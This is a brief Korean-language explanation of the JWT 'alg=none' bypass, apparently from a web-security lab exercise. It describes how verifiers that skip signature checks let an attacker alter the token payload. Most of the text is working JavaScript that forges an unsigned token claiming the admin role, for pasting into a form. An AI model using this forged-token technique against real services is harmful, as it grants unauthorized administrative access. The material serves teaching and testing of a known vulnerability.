JWT alg=none 우회:
일부 JWT 검증 로직이 alg=none을 특별한 경우로 처리하거나,
완전히 무시할 수 있습니다. 이 경우 서명 검증이 생략되고,
공격자가 마음대로 페이로드를 변조하고 권한을 상승시킬 수 있습니다.
header = {"alg":"HS256","typ":"JWT"}payload = {"user_id":1,"username":"user1","role":"user","iat":...}signature = HMAC-SHA256 서명alg를 none으로 변경role을 admin으로 변경[base64url(header)].[base64url(payload)].
// Header with alg=none
const header = { alg: "none", typ: "JWT" };
// Payload with admin role
const payload = { user_id: 1, username: "admin", role: "admin" };
// Base64URL encoding
const base64url = (obj) => {
const json = JSON.stringify(obj);
const base64 = btoa(json);
return base64.replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');
};
// Construct JWT
const token = base64url(header) + '.' + base64url(payload) + '.';
console.log(token); // 이 토큰을 위 폼에 입력